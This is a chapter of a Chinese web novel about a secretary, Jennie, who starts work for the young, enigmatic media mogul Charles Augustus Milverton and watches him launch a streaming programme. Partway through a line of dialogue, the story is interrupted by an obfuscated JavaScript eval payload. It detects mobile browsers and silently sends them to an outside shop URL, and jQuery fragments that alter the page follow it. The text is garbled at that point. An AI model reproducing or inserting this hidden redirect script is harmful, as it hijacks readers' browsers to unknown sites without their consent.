Chapter 02 新节目
珍妮·阿格纳什是在G5大学以优秀硕士毕业生的身份,结束了自己的学生时代。
她非常清楚自己的职业规划。
现在是流媒体兴起的第五个年头。
英国传媒业正在经历前所未有的转型浪潮。
而在众多媒体公司中,小众而新锐的公司根基不稳,老牌且长久的公司制度僵化,这都不是她想要的选择。
她最希望能够共事的其实是查尔斯·奥格斯特斯·米尔沃顿的媒体公司。
这原本是一家提供广告和公关服务的跨国公司,后期开始跻身入网媒领域后,便如脱缰的野马般迅速崛起。短短五年间,它的访问量仅次于BBC,一跃成为英国十大头部新闻媒体公司之一。
其创始人查尔斯·米尔沃顿本人更添神秘色彩。
外界几乎从未流传过他的照片,他也从不公开出席大型聚会。
即便有人曾曝光过他的长相,那些内容也会在短时间内被封禁。
他的身世传奇。
据说他拥有双国籍,父亲是英国人,母亲是葡萄牙人。
米尔沃顿在葡萄牙波尔图出生,在著名的谍城卡斯卡伊斯长大。
他在来英国前,曾经获得过葡萄牙基督骑士团的红色绶带。
虽然绶带比不上挂带、胸章或者星章这种高等级的标识,但是历经历史长河发展至今,已经成为国家级荣誉通常只授予对国家有特殊贡献的人。
这俨然说明米尔沃顿是国家层面上拥有着特殊地位。
然而,他来英国也伴随着流言。
有人称,他之所以会被赶到英国,是因为他在欧洲最大的赌场,也就是传闻曾有某知名英国特工出没的葡萄牙Estroril赌桌上作弊被抓。
此外也有听说,他的朋友圈里有人曾经参与过刺杀国家领导层的恐怖组织。而这件恐怖行动背后也有米尔沃顿的影子。
可是后者的说法过于捕风捉影。毕竟真的有这么严重的事,米尔沃顿也不可能在英国大肆活跃。
无论如何,种种传闻的交织都使得查尔斯·米尔沃顿的身份愈发扑朔迷离。
正因如此,珍妮来这个公司的目的变得格外明确。
她想成为下一个伊莎贝拉·伯顿或者沃尔特·艾萨克森。
她也想通过撰写传记作品成名,让那些复杂而传奇的人物在她的文字中得到真实呈现,让自己在文坛上赢得属于自己的声誉。
米尔沃顿的媒体公司名为CAME。
虽然他从来没有给出官方解释,但是从语法角度来看,came是过去时的叙事形式,象征新闻和事件「已经发生」。
这似乎在告诉人们,在这里的每条新闻和每个事件,都曾真实发生过,也正呼应了公司对新闻真实性与准确性的追求。
珍妮原本在一家王牌编辑部工作。
一次偶然机会,她从米尔沃顿公司内部人员那里得知,公司正急需一名秘书,她立刻提交了申请。
出乎意料的是,这个岗位的竞争并不激烈,而凭借她出色的履历,珍妮幸运地获得了这个职位。
虽然初级秘书的工资并不高,也无法深入接触公司核心的新闻运营模式和理念,但对珍妮来说,这份工作意味着一个绝佳的机会,一个能够贴近米尔沃顿本人,观察并学习这位神秘媒体巨擘的机会。
在她心里,查尔斯·奥格斯特斯·米尔沃顿年级大概是五十多岁,处事圆滑,长袖善舞,左右逢源,擅长平衡事态。那么他的脸应该就不会太宽。
有人针对29名美国总统脸型做过比较,研究表明「那些脸部更宽,颧骨更突出的人往往举措激进,且领导力更强」。
米尔沃顿应该是那种窄瘦的长脸,眉眼里面带着锐利、不耐与高高在上的温和。
然而第一天和米尔沃顿接触的时候,戴着古板的黑框眼镜,尽量保持低调朴素的珍妮便大跌眼镜。
米尔沃顿偏椭圆脸型,骨骼不大,量感较轻,下颌线条柔和。这或许是混血的效果,让他看起来格外年轻,年纪不到二十五岁,面庞还带着大学生般的稚气。然而,身居高位的气质和高挑挺拔的身姿让他在少年与成熟男性之间取得奇妙平衡。
稚气中带着精致,沉稳中又不失儒雅。
他的五官虽然不算特别突出,却匀称而舒适,让人自然觉得赏心悦目。
最吸引人的,是那双灰色眼瞳,在金丝眼镜的衬托下闪烁着清冷而专注的光芒
珍妮只看上一眼,便感觉到局促,无法想象自己灰头土脸站在他旁边的画面。
她连忙在上班报道前,重新整理回自己基本的审美水准。
进入办公室后,珍妮忍不住多打量了对方几眼。
他看起来太年轻,即便穿着深色西装,也难掩那份带着漫不经心的轻佻。
即便是这么无害又随意,珍妮还是能感觉到他与生俱来的距离感。
这让珍妮更有了观察与探索的欲望。
第一天,他还算是精神。
第二天,他在办公室,开始望着天花板的水晶灯出神。
珍妮问道:“米尔沃顿先生想要点咖啡,还是茶吗?”
米尔沃顿视线下调,揉了揉眉心,似乎有各种烦忧压在他的肩膀上,“赫伯斯已经帮我准备了。”他顺势看了看旁边的保温杯。
赫伯斯?
珍妮敏锐地抓住了名字,顿时如临大敌。
米尔沃顿先生,除了她之外,居然还有其他的贴身秘书。
“请问,赫伯斯先生是?”
“我的管家。”米尔沃顿张口即答,格外好说话,“我衣食住行都是他一手操持的。”
这句话落下之后,米尔沃顿跟着打开自己的保温杯。
珍妮赶紧往里面望一眼,是热腾腾的乳白色汤汁,一眼看过去就像是牛奶。很快,空气里面泛着豆子的味道。
“这是什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694203|186097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么?”
“豆浆。”
“哦哦哦。”珍妮无意识地随口应着,但很快就惊讶了一瞬,“豆浆?”
“你要喝吗?我分你一半。”
早晨的米尔沃顿格外好说话,昨天早上也是如此。
社交心理学中有一种理论叫做镜像理论——人会因为对方跟自己做了相同的举动而产生亲近感。
珍妮一方面想要获得米尔沃顿的信任,增加她自己的份量,另一方面也很好奇什么样的饮品还能抓住老板的胃。
于是她拿着自己的迷你杯要了一小杯,浅尝一口,“好烫。”
米尔沃顿似乎对她的反应感到有趣,刚才那双微微迷散的灰色瞳光亮了亮。
那神情像是一只正打盹的猫,忽然看到毛球,本能地被兴趣勾起了一丝精神。
珍妮察觉到气氛的松动,便顺势拉近话题:“米尔沃顿先生,我一直想问个问题,可以吗?”
“问。”
“公司的名字——CAME,是什么意思?”
“CAM 是我的名字缩写,Charles Augustus Milverton。”
“那 E 是 Entertainment?”珍妮试探着问。
“不是。”米尔沃顿唇角微扬,轻声道,“CAME,E 不发音。”
话音刚落,珍妮就觉得他讲了个很烂的梗,不由得无语了一瞬。
可转念一想,米尔沃顿竟然是在拿自己开玩笑,这反倒让她忍不住笑出声来。
很快她发现,这位老板饭后总是格外健谈,也更喜欢开玩笑。起初她以为那是因为他吃饱了心情好,后来才知道,他非常容易晕碳。
尤其是喝了含糖饮料或吃点甜食后,就会整个人开始有轻微的兴奋,变得健谈而放松。
而这件事,他自己似乎全然不知。
两人刚玩笑几句,米尔沃顿忽然语气一转,说道:“我打算推出一档独立网络节目。去通知影视直播部门,开个会。从今天开始,我们要启动互联网视频点播服务。”
“嗯?”珍妮一愣。
米尔沃顿推了推眼镜,语气平静却带着决断。
“我要让整个英国,打开手机的第一件事,就是看我们的节目。”
从纸媒到网媒,从网媒到流媒体,英国的整个行业像一条被潮水裹挟的河。
而米尔沃顿的 CAME,俨然就在浪头之上。
珍妮的心忍不住跟着激动起来。
她果然没有看错。
从一开始就知道,自己要观察的,就是这么一位富有真知灼见的时代人物。
他此刻的姿态是慵懒的、无害的,甚至透出一丝带有人情味的有趣,可谁也不能忘记,他拥有瞬间爆发、一击致命的强大力量。
而他那双灰色的眼睛,始终在冷静地审视着整个世界。
珍妮打算把米尔沃顿刚才的那句话摘抄下来,作为传记的开头。